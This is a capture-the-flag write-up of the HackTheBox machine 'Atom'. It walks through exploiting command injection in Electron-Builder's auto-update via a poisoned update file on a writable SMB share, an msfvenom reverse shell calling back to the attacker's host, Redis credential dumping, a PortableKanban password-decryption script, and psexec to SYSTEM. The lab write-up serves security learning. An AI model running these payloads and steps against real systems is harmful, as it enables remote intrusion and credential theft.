Atom brings a cool exploitation of a vulnerability in the auto-update feature of Electron-Builder. In Atom, there is a writable SMB share which is used by a company to store an update definition file for QA testing. With write access, a malicious update definition can be placed on the share. This malicious update definition points to my reverse shell binary, which results in gaining an interactive shell to the system. Internal enumeration of the system finds a password which can be used to authenticate to a Redis server. I’m able to obtain administrator credentials by dumping the Redis database.

Skills Learned

  • Exploitation of Electron-Builder app through auto-update.
  • Redis enumeration

Tools

  • Nmap
  • CrackMapExec
  • Msfvenom
  • Netcat
  • Impacket

Reconnaissance

Nmap

A full TCP scan with nmap discovers six open ports: HTTP on 80 and its secure version on 443, MSRPC on 135, SMB on 445, WinRM on 5985 and Redis on 6379.

→ root@kali «atom» «10.10.14.49» 
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-atom 10.10.10.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-17 07:56 EDT
Nmap scan report for 10.10.10.237
Host is up, received echo-reply ttl 127 (0.051s latency).
Not shown: 65529 filtered ports
Reason: 65529 no-responses
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
443/tcp  open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6379/tcp open  redis        syn-ack ttl 127 Redis key-value store
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.92 seconds

A script scan doesn’t really helpful, so I’ll skip that here.

Enumeration

TCP 6379 - Redis

On Redis, authenticated is required.

→ root@kali «smb» «10.10.14.49» 
$ nc -nv 10.10.10.237 6379
(UNKNOWN) [10.10.10.237] 6379 (?) open
INFO
-NOAUTH Authentication required.

TCP 445 - SMB

SMB enumeration with Anonymous logon using crackmapexec reveals the Windows version and one writable share.

→ root@kali «atom» «10.10.14.49» 
$ crackmapexec smb 10.10.10.237 -u 'ANONYMOUS' -p '' --shares
SMB         10.10.10.237    445    ATOM             [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
SMB         10.10.10.237    445    ATOM             [+] ATOM\ANONYMOUS: 
SMB         10.10.10.237    445    ATOM             [+] Enumerated shares
SMB         10.10.10.237    445    ATOM             Share           Permissions     Remark
SMB         10.10.10.237    445    ATOM             -----           -----------     ------
SMB         10.10.10.237    445    ATOM             ADMIN$                          Remote Admin
SMB         10.10.10.237    445    ATOM             C$                              Default share
SMB         10.10.10.237    445    ATOM             IPC$                            Remote IPC
SMB         10.10.10.237    445    ATOM             Software_Updates READ,WRITE      

Software_Updates Share

In Software_Updates, there is a PDF file called UAT_Testing_Procedures.pdf. I’ll grab that file.

→ root@kali «atom» «10.10.14.49» 
$ smbclient -N //10.10.10.237/Software_Updates
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon May 17 08:05:58 2021
  ..                                  D        0  Mon May 17 08:05:58 2021
  client1                             D        0  Mon May 17 08:05:58 2021
  client2                             D        0  Mon May 17 08:05:58 2021
  client3                             D        0  Mon May 17 08:05:58 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 07:18:08 2021

                4413951 blocks of size 4096. 1361569 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (121.5 KiloBytes/sec) (average 121.5 KiloBytes/sec)

TCP 80,443 - Website

Both port 80 and 443 are display the same site, it’s a software company site called “Heed Solutions”.

image-20210517190515610

At the bottom, there is a hostname and a download link that points to http://10.10.10.237/releases/heed_setup_v1.0.0.zip.

image-20210517190532910

I’ll add the hostname to my /etc/hosts file and then download the previous software.

→ root@kali «atom» «10.10.14.49» 
$ echo '10.10.10.237 atom.htb' >> /etc/hosts

After the hostname added, the site still shows the same content.

→ root@kali «atom» «10.10.14.49» 
$ curl -s -k https://10.10.10.237/ | wc -c
7581
→ root@kali «atom» «10.10.14.49» 
$ curl -s -k http://10.10.10.237/ | wc -c 
7581
→ root@kali «atom» «10.10.14.49» 
$ curl -s -k http://atom.htb/ | wc -c
7581
→ root@kali «atom» «10.10.14.49» 
$ curl -s -k https://atom.htb/ | wc -c
7581

Analysis

The previous zip file contains one executable file called heedv1 Setup 1.0.0.exe.

→ root@kali «loot» «10.10.14.49» 
$ file heedv1_setup_1.0.0.exe 
heedv1_setup_1.0.0.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

It says “self-extracting archive”, meaning it can be extracted, for example using 7z.

While looking into the app structure, I spotted a file called app-update.yml.

→ root@kali «heed_extracted» «10.10.14.49» 
$ tree
.
├── $PLUGINSDIR
│   ├── app-64
...<SNIP>...
│   │   ├── natives_blob.bin
│   │   ├── resources
│   │   │   ├── app.asar
│   │   │   ├── app-update.yml # ==> Updater config
│   │   │   ├── electron.asar
│   │   │   ├── elevate.exe
│   │   │   └── inspector
...<SNIP>...

73 directories, 274 files

The file contains another hostname, which I’ll add it to /etc/hosts.

→ root@kali «heed_extracted» «10.10.14.49» 
$ cat ./\$PLUGINSDIR/app-64/resources/app-update.yml
provider: generic
url: 'http://updates.atom.htb'
publisherName:
  - HackTheBox

And again, it is the same site.

→ root@kali «heed_extracted» «10.10.14.49» 
$ curl -s http://updates.atom.htb/ | wc -c
7581

Guessing based on the content of UAT_Testing_Procedures.pdf file from SMB enumeration, heedv1_setup_1.0.0.exe is currently on testing phase. Other information that I can obtain are:

  • The app is packed with electron-builder
  • The app has auto-update feature, but before releasing the updated app, the QA team will test it first.

image-20210517200229002

According to the image above, the client folder here probably refers to the ones on SMB.

Foothold

Shell as Jason

RCE Electron-Updater - Background

I went to the rabbit hole by analyzing the executable file. At first, I thought I could inject the app-update.yml to point to my malicious .exe file and repack the app. I got the idea of poisoning the update file but didn’t know where to start until I found this blog.

According to that blog, during a software update, previous Electron-Updater uses the following line to perform a signature verification check on the new version of binary file.

execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None", "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], {
...<SNIP>...

If ${tempUpdateFile} is a user-controlled input, this can be leveraged for command injection: ';calc;'

Since the ${tempUpdateFile} variable is provided unescaped to the execFile utility, an attacker could bypass the entire signature verification by triggering a parse error in the script.

The following is an example of malicious update definition that will pop a calculator.

version: 2.0.0
path: u';calc;'pdate.exe
sha512: qwP35Rn5PLaBoZ8tzvRFK...<SNIP>...LM3WCmvJUXMYmZGW6T+fI=
releaseDate: '2021-01-24T13:44:59.064Z'

Sending this u';payload;'pdate.exe as path would be troublesome, which is simplified as follows:

`Get-AuthenticodeSignature 'u';payload;'pdate.exe' | ConvertTo-Json -Compress`

Now that if a single quote ' is added to path, it becomes:

`Get-AuthenticodeSignature 'u'pdate.exe' | ConvertTo-Json -Compress`

But then, it would breaks the signature verification. And here’s come the interesting part, an attacker could easily bypass this signature verification by recalculating the hash of u'pdate.exe. That’s very clever, right?

RCE Electron-Updater - Exploitation

According to the SMB enumeration, all the client folders are writable, which means exploitation can be done in two ways: local and remote. But, I’ll go with remote 😅.

First, I’ll have to generate a reverse shell binary. This can be done with msfvenom. I’ll host this binary using Python web server afterwards.

→ root@kali «exploits» «10.10.14.49» 
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=53 -f exe -o i\'amf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: i'amf.exe

Next, I’ll need to calculate the hash of i'amf.exe using the following command:

→ root@kali «exploits» «10.10.14.49» 
$ shasum -a 512 i\'amf.exe | cut -d ' ' -f1 | xxd -r -p | base64 | tr -d '\n'
Y4xekmQ80+ALOD0xXBgPdaOmgSsbK8jACQ6xmF4ndoEOvleyI4HRTDniVdExVNryCPWGgxOElKPhMyJCywuLtw==

The last thing I need is the update file. I’ll create one called update-iamf.yml which contains the following update definitions:

version: 2.0.1
path: http://10.10.14.83/i'amf.exe
sha512: Y4xekmQ80+ALOD0xXBgPdaOmgSsbK8jACQ6xmF4ndoEOvleyI4HRTDniVdExVNryCPWGgxOElKPhMyJCywuLtw==
releaseDate: '2021-01-24T13:44:59.064Z'

I’ll upload the update file to Software_Updates share using smbclient and start a netcat listener. After a few minutes, the reverse shell binary connected to my listener.

→ root@kali «exploits» «10.10.14.49» 
$ smbclient -N //10.10.10.237/Software_Updates -c "put iamf-update.yml client1/latest.yml"  && nc -nvlp 53
putting file iamf-update.yml as \client1\latest.yml (1.1 kb/s) (average 1.1 kb/s)
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.237] 64352
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
atom\jason

C:\WINDOWS\system32>

User flag is done here.

C:\Users\jason\Desktop>type user.txt
type user.txt
b77e754354e186f...<SNIP>...

Privilege Escalation

Shell as SYSTEM

Internal Enumeration

WinPEAS discovers a set of credentials for user jason.

...<SNIP>...
[+] Checking Credential manager
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
    [!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string


     Username:              ATOM\jason
     Password:               kidvscat_electron_@123
     Target:                ATOM\jason
     PersistenceType:       Enterprise
     LastWriteTime:         3/31/2021 2:53:49 AM

On Jason’s download directory, there is a PortableKanban folder. PortableKanban itself is a password manager. I have familiarity with this application from HTB Sharp. Its config contains an encrypted Redis database password (The clear password revealed in the next section).

C:\Users\jason\Downloads>type PortableKanban\PortableKanban.cfg
type PortableKanban\PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
...<SNIP>...

Redis Revisited

Looking into the Redis installation folder, I find a plain password in redis.windows.conf file.

C:\Program Files\Redis>type redis.windows.conf | findstr requirepass
type redis.windows.conf | findstr requirepass
requirepass kidvscat_yes_kidvscat

redis.windows-service.conf also contains the same password.

C:\Program Files\Redis>type redis.windows-service.conf | findstr requirepass
type redis.windows-service.conf | findstr requirepass
requirepass kidvscat_yes_kidvscat

The password kidvscat_yes_kidvscat works on Redis.

→ root@kali «atom» «10.10.14.49» 
$ rlwrap nc -nv 10.10.10.237 6379
(UNKNOWN) [10.10.10.237] 6379 (redis) open
AUTH jason kidvscat_electron_@123
-ERR wrong number of arguments for 'auth' command
AUTH kidvscat_electron_@123
-ERR invalid password
AUTH kidvscat_yes_kidvscat
+OK

It’s possible to dump the database that is currently in use.

To do that, I’ll send INFO command and starting to look for a chunk called Keyspace .

INFO
$1938
# Server
redis_version:3.0.504
...<SNIP>...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0

There is one database active, which is db0 and it contains 4 keys.

I’ll send KEYS * command to get all the stored keys.

SELECT 0
+OK
KEYS *
*4
$48
pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
$11
pk:ids:User
$20
pk:ids:MetaDataClass
$57
pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff

The value of pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 contains a credentials of the Administrator account, but the password is encrypted.

GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
$207
{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}

PortableKanban Decrypt

By assuming that the password is encrypted using PortableKanban, I could try to decrypt the password I obtained using the following script (a modified version of the original exploit).

from base64 import b64decode
import sys
import des 

key = des.DesKey(b'7ly6UznJ')
iv = b'XuVUm5fR'

try:    
	passwd = b64decode(sys.argv[1].encode('UTF-8'))
except IndexError:
	print('[-] Usage: %s <base64_encrypted_passwd>' % sys.argv[0])
    
	sys.exit(-1)

dec_password = key.decrypt(passwd, initial=iv, padding=True)
print("[+] Decrypted Password: " + dec_password.decode('UTF-8'))

The administrator password has been decrypted to kidvscat_admin_@123.

→ kali@kali «atom» «10.10.14.83»
$ python3 pk-decrypt.py Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
[+] Decrypted Password: kidvscat_admin_@123

psexec.py

I could use the credentials in psexec from impacket to obtain interactive shell access as system.

→ root@kali «atom» «10.10.14.49» 
$ impacket-psexec atom/administrator:'kidvscat_admin_@123'@10.10.10.237
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.237.....
[*] Found writable share ADMIN$
[*] Uploading file FCSITnEj.exe
[*] Opening SVCManager on 10.10.10.237.....
[*] Creating service DCLl on 10.10.10.237.....
[*] Starting service DCLl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami && hostname
nt authority\system
ATOM

C:\WINDOWS\system32>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::525:3f10:5c90:26bf
   Temporary IPv6 Address. . . . . . : dead:beef::cc8a:70e1:ba06:84ed
   Link-local IPv6 Address . . . . . : fe80::525:3f10:5c90:26bf%6
   IPv4 Address. . . . . . . . . . . : 10.10.10.237
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
                                       10.10.10.2

References